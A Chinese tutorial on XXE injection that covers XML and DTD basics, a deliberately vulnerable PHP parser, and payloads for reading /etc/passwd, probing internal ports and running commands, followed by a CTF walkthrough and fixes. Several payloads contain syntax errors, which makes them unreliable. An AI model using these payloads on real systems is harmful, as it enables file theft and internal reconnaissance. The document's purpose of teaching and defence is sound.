[web安全原理分析]-XEE漏洞入门
前言
1
前言
XXE漏洞
XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XML基础
XML
XML(EXtensible Markup Language,可扩展标记语言)用来结构化、存储以及传输信息。
XML文档结构包括3部分:XML声明、文档类型定义(可选)和文档元素

1 <!-- XML声明(定义了XML的版本和编码) -->
2 <?xml version="1.0" encoding="ISO-8859-1"?>
3
4 <!-- 文档类型定义 -->
5 <!DOCTYPE note [
6 <!ELEMENT note (to,from,heading,body)>
7 <!ELEMENT to (#PCDATA)>
8 <!ELEMENT from (#PCDATA)>
9 <!ELEMENT heading (#PCDATA)>
10 <!ELEMENT body (#PCDATA)>
11 ]>
12
13 <!-- 文档元素 -->
14 <note>
15 <to>George</to>
16 <from>John</from>
17 <heading>Reminder</heading>
18 <body>Don't forget the meeting!</body>
19 </note>
1.XML声明
xml声明以<?开头,以?>结束。version属性是必选的,它定义了XML版本。encoding属性是可选的,它定义了XML进行解码时所用的字符集
<?xml version="1.0" encoding="ISO-8859-1"?>
2.文档类型定义
文档类型定义(Document Type Definition,DTD)用来约束一个XML文档的书写规范。
1.文档类型定义的基础语法:
<!ELEMENT 元素名 类型>
2.内部定义
将文档类型定义放在XML文档中,称为内部定义,内部定义的格式如下:
<!DOCTYPE 根元素 [元素声明]>
eg:
<!DOCTYPE note [ <!-- 定义此文档是note类型 -->
<!ELEMENT note (to,from,heading,body)> <!-- 定义note有4个元素:to from heading body -->
<!ELEMENT to (#PCDATA)> <!-- 定义to元素为#PCDATA类型 -->
<!ELEMENT from (#PCDATA)> <!-- 定义from元素为#PCDATA类型 -->
<!ELEMENT heading (#PCDATA)> <!-- 定义heading元素为#PCDATA类型 -->
<!ELEMENT body (#PCDATA)> <!-- 定义body元素为#PCDATA类型 -->
]>
3.外部文档引用
文档类型定义的内容也可以保存为单独的DTD文档
(1)DTD文档在本地格式
<!DOCTYPE 根元素 SYSTEM "文件名">
<!--eg:<!DOCTYPE note SYSTEM "note.dtd">-->
(2)DTD文档外网引用
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
<!--eg:<!doctype html public "xxx" "http://www.xx.com/note.dtd">-->
XML漏洞利用
漏洞代码:
file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。
<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument(); $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password; echo 'hello'.$username; ?>
1.文件读取
通过加载外部实体,利用file://、php://等伪协议读取本地文件
payload:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
2.内网探测
利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢
探测22号端口是否开启
payload:
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
3.内网应用攻击
通过XXE漏洞进行内网应用攻击,例如攻击内网jmx控制台未授权访问的JBpss漏洞进行攻击
4.命令执行
利用xxe漏洞可以调用except://伪协议调用系统命令
payload:
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
XXE-CTF实例
目标:http://web.jarvisoj.com:9882/
BP抓包一下


将Content-Type:application/json改成application/xml构造XEE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"> ]>
<tq>&xxe;</tq>

XEE漏洞修补
1.禁用外部实体。在代码中设置libxml_disable_entity_loader(true)
2.过滤用户提交的XML数据。过滤关键词为<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC.
参考学习:《web安全原理分析与实践》——XXE漏洞
https://www.freebuf.com/vuls/175451.html 浅谈XXE实体注入漏洞
https://www.freebuf.com/column/225780.html xxe从入门到放弃
[web安全原理分析]-XEE漏洞入门的更多相关文章
- [web安全原理分析]-SSRF漏洞入门
SSRF漏洞 SSRF漏洞 SSRF意为服务端请求伪造(Server-Side Request Forge).攻击者利用SSRF漏洞通过服务器发起伪造请求,就这样可以访问内网的数据,进行内网信息探测或 ...
- [web安全原理]PHP反序列化漏洞
前言 这几天一直在关注新管状病毒,从微博到各大公众号朋友圈了解感觉挺严重的看微博感觉特别严重看官方说法感觉还行那就取中间的吧 自己要会对这个东西要有理性的判断.关注了好两天所以耽搁了学习emmm 希望 ...
- web安全原理-文件包含漏洞
前言 起来吃完早饭就开始刷攻防世界的题,一个简单的文件包含题我竟然都做不出来我服了 拿出买的书开始从头学习总结文件包含漏洞! 一.文件包含漏洞 文件包含漏洞 文件包含函数的参数没有经过过滤或者严格的 ...
- [web安全原理分析]-文件上传漏洞基础
简介 前端JS过滤绕过 待更新... 文件名过滤绕过 待更新 Content-type过滤绕过 Content-Type用于定义网络文件的类型和网页编码,用来告诉文件接收方以什么形式.什么编码读取这个 ...
- web安全原理分析-SQL注入漏洞全解
简介 靶场:榆林学院信息安全协会--入侵榆大实验靶场 数字型注入 1 字符型注入 1 布尔注入 1.布尔注入简介 mysql bool注入是盲注的一种.与报错注入不同,bool注入没有任何报错信息输出 ...
- [web安全原理]PHP命令执行漏洞基础
前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...
- 【Android漏洞复现】StrandHogg漏洞复现及原理分析_Android系统上的维京海盗
文章作者MG1937 CNBLOG博客:ALDYS4 QQ:3496925334 0x00 StrandHogg漏洞详情 StrandHogg漏洞 CVE编号:暂无 [漏洞危害] 近日,Android ...
- Linux内核[CVE-2016-5195] (dirty COW)原理分析
[原创]Linux内核[CVE-2016-5195] (dirty COW)原理分析-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com https://bbs.pediy.com/ ...
- CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc
1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...
随机推荐
- windows搭建SVN服务MD版
windows搭建SVN服务MD 1下载TortoiseSVN 官网下载 根据自己系统环境选择适合的版本 2 安装TortoiseSVN 双击运行程序 出现第一个小坑 原来是你的系统没有打 kb299 ...
- 2.通过QOpenGLWidget绘制三角形
参考:1.opengl绘制三角形 1.QOpenGLWidget的早先版本 QGLWidget是遗留Qt OpenGL模块的一部分,和其他QGL类一样,应该在新的应用程序中避免使用.相反,从Qt 5. ...
- 阿里技术专家十五问,真题面试刀刀见肉,快来和阿里面试官battle
引言 2020阿里巴巴专家组出题,等你来答: 题目:如何判断两个链表是否相交 出题人:阿里巴巴新零售技术质量部 参考答案: $O(n^2)$: 两层遍历,总能发现是否相交 $O(n)$: 一层遍历,遍 ...
- TNS-12541 TNS no listener
转载:https://blog.csdn.net/haha_201510/article/details/88119587 centOS环境下的解决方案: 查看监听状态lsnrctl status 如 ...
- 蓝桥杯2020 E:七段码
题解 正规解法是 dfs + 并查集,首先用 dfs 将其所有的情况枚举出来,再用并查集来判断是否在一个连通块上. 许多小伙伴计算的答案为76,主要是判断连通块这方面有问题,倘若不用并查集,直接枚举一 ...
- CF1430 D. String Deletion(div 2)
题目链接:http://codeforces.com/contest/1430/problem/D 题意:有一个长度为n(n<=2*10^5)的01字符串,每轮操作有两步: 第一步是删去字符串中 ...
- 一分钟了解"秒杀"系统
关于秒杀,第一反应都是实现起来比较复杂.难点在于:并发读+并发写+设计兜底方案的实现. 比如QQ,虽然数据量很大,但是多数的数据都是细粒度的数据查询,锁冲突比较少:但12306涉及到大量的读写操作,对 ...
- oVirt4.4虚拟机备份方法
红帽oVirt于今年推出了oVirt 4.4,该版本在系统.存储.网络.用户界面等方面做出增强功能与优化更新,为oVirt用户提供功能更强大.更灵活的IT基础架构.云祺科技也于最近发布了全新版本云祺容 ...
- No compatible servers were found,You'll need to cancel this wizard and install one!
原文链接:https://www.jianshu.com/p/a11f93fb16ce 问题原因 笔记本重装的windows系统,重新安装mysql的时候,显示错误,看了一下缺失服务,实际上可能是缺少 ...
- IPEX-1代/3代/4代/5代,PCB天线底座,公头,样式及封装尺寸图
1.IPEX-1代,PCB天线底座 2.IPEX-3代,PCB天线底座 3.IPEX-4代,PCB天线底座 4.IPEX-5代,PCB天线底座